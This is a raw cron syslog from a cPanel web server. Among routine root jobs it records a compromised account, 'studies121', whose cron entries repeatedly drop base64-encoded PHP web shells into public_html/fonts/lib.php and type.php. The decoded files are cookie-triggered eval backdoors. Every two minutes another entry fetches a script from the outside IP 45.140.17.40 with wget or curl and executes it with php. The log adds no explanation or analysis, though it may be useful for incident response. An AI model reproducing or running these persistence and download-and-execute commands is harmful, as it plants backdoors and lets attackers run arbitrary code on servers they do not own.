Sep  2 01:45:01 ip-184-168-122-23 CROND[23272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:45:01 ip-184-168-122-23 CROND[23274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:45:01 ip-184-168-122-23 CROND[23275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:45:01 ip-184-168-122-23 CROND[23276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:45:01 ip-184-168-122-23 CROND[23278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:45:01 ip-184-168-122-23 CROND[23277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:46:01 ip-184-168-122-23 CROND[23385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:46:01 ip-184-168-122-23 CROND[23386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:46:01 ip-184-168-122-23 CROND[23390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:46:01 ip-184-168-122-23 CROND[23389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:46:01 ip-184-168-122-23 CROND[23392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:46:01 ip-184-168-122-23 CROND[23393]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:46:01 ip-184-168-122-23 CROND[23391]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 01:47:01 ip-184-168-122-23 CROND[23494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:47:01 ip-184-168-122-23 CROND[23496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:47:01 ip-184-168-122-23 CROND[23495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:47:01 ip-184-168-122-23 CROND[23497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:48:01 ip-184-168-122-23 CROND[23589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:48:01 ip-184-168-122-23 CROND[23591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:48:01 ip-184-168-122-23 CROND[23592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:48:01 ip-184-168-122-23 CROND[23594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:48:01 ip-184-168-122-23 CROND[23595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:49:01 ip-184-168-122-23 CROND[23780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:49:01 ip-184-168-122-23 CROND[23782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:49:01 ip-184-168-122-23 CROND[23783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:49:01 ip-184-168-122-23 CROND[23784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:49:01 ip-184-168-122-23 CROND[23785]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 01:50:01 ip-184-168-122-23 CROND[23897]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 01:50:01 ip-184-168-122-23 CROND[23896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:50:01 ip-184-168-122-23 CROND[23898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:50:01 ip-184-168-122-23 CROND[23902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:50:01 ip-184-168-122-23 CROND[23906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:50:01 ip-184-168-122-23 CROND[23904]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:50:01 ip-184-168-122-23 CROND[23905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:50:01 ip-184-168-122-23 CROND[23907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:50:01 ip-184-168-122-23 CROND[23910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:51:01 ip-184-168-122-23 CROND[24009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:51:01 ip-184-168-122-23 CROND[24011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:51:01 ip-184-168-122-23 CROND[24012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:51:01 ip-184-168-122-23 CROND[24015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:52:01 ip-184-168-122-23 CROND[24096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:52:01 ip-184-168-122-23 CROND[24098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:52:01 ip-184-168-122-23 CROND[24101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:52:01 ip-184-168-122-23 CROND[24102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:52:01 ip-184-168-122-23 CROND[24099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:53:01 ip-184-168-122-23 CROND[24214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:53:01 ip-184-168-122-23 CROND[24215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:53:01 ip-184-168-122-23 CROND[24218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:53:01 ip-184-168-122-23 CROND[24216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:54:01 ip-184-168-122-23 CROND[24305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:54:01 ip-184-168-122-23 CROND[24307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:54:01 ip-184-168-122-23 CROND[24310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:54:01 ip-184-168-122-23 CROND[24308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:54:01 ip-184-168-122-23 CROND[24309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:55:01 ip-184-168-122-23 CROND[24396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:55:01 ip-184-168-122-23 CROND[24398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:55:01 ip-184-168-122-23 CROND[24402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:55:01 ip-184-168-122-23 CROND[24399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:55:01 ip-184-168-122-23 CROND[24400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:55:01 ip-184-168-122-23 CROND[24401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:56:01 ip-184-168-122-23 CROND[24588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:56:01 ip-184-168-122-23 CROND[24592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:56:01 ip-184-168-122-23 CROND[24593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:56:01 ip-184-168-122-23 CROND[24595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:56:01 ip-184-168-122-23 CROND[24596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:57:01 ip-184-168-122-23 CROND[24680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
